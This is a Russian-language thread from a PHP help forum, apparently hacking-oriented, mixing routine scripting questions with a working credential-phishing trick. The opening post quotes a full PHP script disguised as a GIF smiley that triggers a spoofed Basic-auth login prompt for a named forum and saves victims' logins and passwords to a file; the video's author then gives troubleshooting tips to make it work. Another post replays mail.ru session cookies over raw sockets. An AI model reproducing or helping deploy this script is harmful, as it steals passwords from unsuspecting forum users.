это к Php вообще не относится ! это происходит когда к серверу привязывается один или более доменов ..
Возварщаясь к видео, с которого крали пароль, так вот там способ загнать пхп скрипт в картинку, тобишь сделать скрипт картинкой, и там такой скрипт PHP: <? //делаем скрипт картинкой Header("Content-Type: image/gif"); //делаем изображение смайликом из архива $image = ImageCreateFromGif('mellow.gif'); if(!$_COOKIE['LOGON']) { $login = $_SERVER['PHP_AUTH_USER']; $pass = $_SERVER['PHP_AUTH_PW']; //Авторизация пройдёт, если пароль больше 4-ёх символов и вообще написан логин if(strlen($pass) <= 4 || !$login) { Header('HTTP/1.1 401 Unauthorized'); Header('WWW-Authenticate: Basic realm="ussr-clan-swat.ucoz.ru - login"'); } elseif($login) { //ставим кукис, чтобы при повторном заходе авторизации небыло, в самом начале проверка есть ли кукис )) setcookie('LOGON',md5($pass)); //запишем пароли в файл $f = fopen('passwords.txt', 'ab'); //passwords.txt fwrite($f, $login." ||| ".$pass."\r\n"); //в формате LOGIN ||| PASSWORD fclose($f); } } imagegif($image); imagedestroy($image); ?> Однако, при проверке через свой браузер(их 3) никакая картинка не была видна, пытался заливать на хостинге так смотрел и ничего. Внимание вопрос: как сделать, чтобы она всё таки была видна как картинка, ато не очет действовать.\ Само видео basic-auth_vs_forums в античате лежит со скриптами в архиве.
Я это видео записывал)) Вот возможные причины: Mellow.gif не был загружен либо по каким-то причинам не отображается Но скорее всего, у тебя на хостинге нет поддержки .htaccess. В таком случае, измени расширения файла smile.gif на .php. Если будут выводиться ошибки - то скорее всего не поддерживается библиотека GD.
fireball Мне прикольнуло предложение:Пытался залить на сервер)... . 1. Всё норм работает.... . Я думаю ты картинку создал в этом же каталоге mellow.gif 2. И это тоже видал //Авторизация пройдёт, если пароль больше 4-ёх символов и вообще написан логин ................ У тибя вылазет окно авторизации?
Нужен следующий скрипт... Дан файл index1.txt, его содержимое: Надо заменить в нём всю строчку, начинающуюся на <!--711054--> (которая там обязательно есть) на значение переменной $content. Как это реализовать? И ещё нужен точно такой же скрипт, но который бы просто удалял бы эту строчку.
$f = file_get_contents('index1.txt'); $res = str_replace('<!--711054-->', '', $f); //$res = str_replace('<!--711054-->', $content, $f); echo $res;
Тебе именно та цифра нужна?В примере у тибя её нету если д ато смотри выше если <!--(int)--> то PHP: $file = file_get_contents('index1.txt'); $res = preg_replace("|<!--(\d+)--|is", '', $file); if(false) { $res = preg_replace("|<!--(\d+)--|is", ';'$content', $file); } echo $res;
Вопрос по сессиям с сокетами.. Можно ли вот так осужествлять передачу пакетов к сокет соединению.. PHP: $sock=@fsockopen("www.site.ru",80); if(!$sock) die("fsockopen() error."); { fputs($sock, "POST /cgi-bin/auth HTTP/1.1\r\n". "Host: site.ru\r\n". "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.0.2) Gecko/20060308 Firefox/1.5.0.2\r\n". "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\n". "Accept-Language: ru-ru,ru;q=0.8,en-us;q=0.5,en;q=0.3\r\n". "Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7\r\n". "Keep-Alive: 300\r\n". "Connection: keep-alive\r\n". "Referer: http://site.ru/\r\n". "Content-Type: application/x-www-form-urlencoded\r\n". "Content-Length: ".strlen($post)."\r\n\r\n".$post); fputs($sock, "GET /cgi-bin/checkcookie?id=5f52784e5c774c6019050219091d031b04004f6c5150445e010f07091b00020f1f445e4a510b105d505e59194744&user=".$login."&domain=".$domain."&page=http%3a%2f%2ffoto.mail.ru%2f%3flevel%3d1 HTTP/1.1\r\n". "Host: site.ru\r\n". "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.0.2) Gecko/20060308 Firefox/1.5.0.2\r\n". "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\n". "Accept-Language: ru-ru,ru;q=0.8,en-us;q=0.5,en;q=0.3\r\n". "Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7\r\n". "Keep-Alive: 300\r\n". "Connection: keep-alive\r\n". "Referer: http://site.ru/\r\n". "Cookie: Mpop=1208971346:5f52784e5c774c6019050219091d031b04004f6c5150445e010f07091b00020f1f445e4a510b105d505e59194744:".$login."@".$domain.":-; t=obLD1AAAAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAABAAAAAAAAAAAAAAEJ0wcA\r\n\r\n" ); fputs($sock, "GET /?level=1 HTTP/1.1\r\n". "Host: site.ru\r\n". "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.0.2) Gecko/20060308 Firefox/1.5.0.2\r\n". "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\n". "Accept-Language: ru-ru,ru;q=0.8,en-us;q=0.5,en;q=0.3\r\n". "Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7\r\n". "Keep-Alive: 300\r\n". "Connection: keep-alive\r\n". "Referer: http://site.ru/\r\n". "Cookie: Mpop=1208971346:5f52784e5c774c6019050219091d031b04004f6c5150445e010f07091b00020f1f445e4a510b105d505e59194744:".$login."@".$domain.":-; t=obLD1AAAAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAABAAAAAAAAAAAAAAEJ0wcA\r\n\r\n" ); Или нужно к каждому запросу открывать новое сокет соединение закрывая прошлое?
можно ли искать регулярное выражение по введённому тексту а не наоборот? допустим я назвал файл ~пр[ие]вет~ можно ли найти этот файл через слово привет не занося все имена файлов из директории в переменную(массив) ?
Возвращаясь к мое теме которая выше на другой странице, короче 1) smile.gif на той де странице, так что всё норм 2) mellow.gif отображается 3) .htaccess поддерживается т.к. использую тот же хостинг что и на видео, да и там сказано 4) на счёт библиотеки GD да скорее всего в ней проблема, сам думал что атк, а посоветуете где обновить? и ещё там какие-то версии гиф не поддерживают наскоко знаю 5)картинка smile.gif в принципе не отображается, запускаю и просто чёрный экран и сообщение об авторизации не выскакивает... всё)))
Не понимаю, почему это не работает... Дан файл file.php: Code: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=windows-1251" /> <title>Untitled Document</title> </head> <body> <form method="post" action="file.php"> <input name="cont" type="text"> <input type="submit" value="OK" </form> <?php $fpn=fopen('123.txt','a+'); fwrite($fpn, $cont); fclose($fpn); ?> <body> </body> </html> Вроде, при заполнении поля cont и нажатии кнопки OK в файл 123.txt должно записаться то, что было введено в поле cont... но этого не происходит.. где ошибка??
Не думаю, что это будет непробиваемая защита. Если некоторый скрипт в config.php получает пасс, то в случае взлома можно будет получить пассы через этот файл. А во-вторых, если получать пароли с другого сервера, то это будет очень долго. Разницы между такой системой и простым хранением пароля в config.php не вижу...
Файл модифицировать если и нельзя, но его можно просмотреть например. А чем не устраивает такое: PHP: <?php $pass='abc'; ?> Если обратиться к config.php по http, то он же ничего не выведет. По-моему, так легче просто хорошо проверить скрипты на наличие дыр. А если страдать параноей, то: config.php - получает пасс PHP: <?php $pass=file_get_contents("http://secret.com/script.php"); ?> script.php - выдаёт пасс PHP: <?php if($_SERVER['REMOTE_ADDR']=='1.2.3.4') //тут ip серва, на котором находится config.php print 'password'; //пароль ?> Реализацию проверки подлинности получателя пароля кроме как через ip-адрес не вижу.